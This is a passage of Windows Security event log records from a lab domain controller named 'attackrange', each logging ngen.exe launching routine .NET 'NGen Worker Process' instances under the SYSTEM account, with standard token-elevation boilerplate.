	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5fc -InterruptEvent 0 -NGENProcess 614 -Pipe 604 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254484
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 56c -InterruptEvent 0 -NGENProcess 5ec -Pipe 654 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254483
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x294
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 654 -InterruptEvent 0 -NGENProcess 56c -Pipe 644 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254482
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf70
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 644 -InterruptEvent 0 -NGENProcess 654 -Pipe 63c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254481
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 640 -InterruptEvent 0 -NGENProcess 618 -Pipe 608 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254497
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6b4 -InterruptEvent 0 -NGENProcess 580 -Pipe 5d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254496
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 52c -InterruptEvent 0 -NGENProcess 580 -Pipe 65c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254495
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x960
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 65c -InterruptEvent 0 -NGENProcess 52c -Pipe 5e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254494
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb3c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5e8 -InterruptEvent 0 -NGENProcess 65c -Pipe 684 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254493
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1070
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 684 -InterruptEvent 0 -NGENProcess 5e8 -Pipe 690 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254492
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x910
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 690 -InterruptEvent 0 -NGENProcess 684 -Pipe 68c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254491
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xde8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 64c -InterruptEvent 0 -NGENProcess 5a0 -Pipe 638 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254490
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 638 -InterruptEvent 0 -NGENProcess 64c -Pipe 600 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254489
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 600 -InterruptEvent 0 -NGENProcess 638 -Pipe 674 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254488
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 674 -InterruptEvent 0 -NGENProcess 600 -Pipe 554 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254487
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1394
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 554 -InterruptEvent 0 -NGENProcess 674 -Pipe 668 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254486
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe50
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 668 -InterruptEvent 0 -NGENProcess 554 -Pipe 5ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254485
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5ec -InterruptEvent 0 -NGENProcess 668 -Pipe 56c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254502
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x44c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
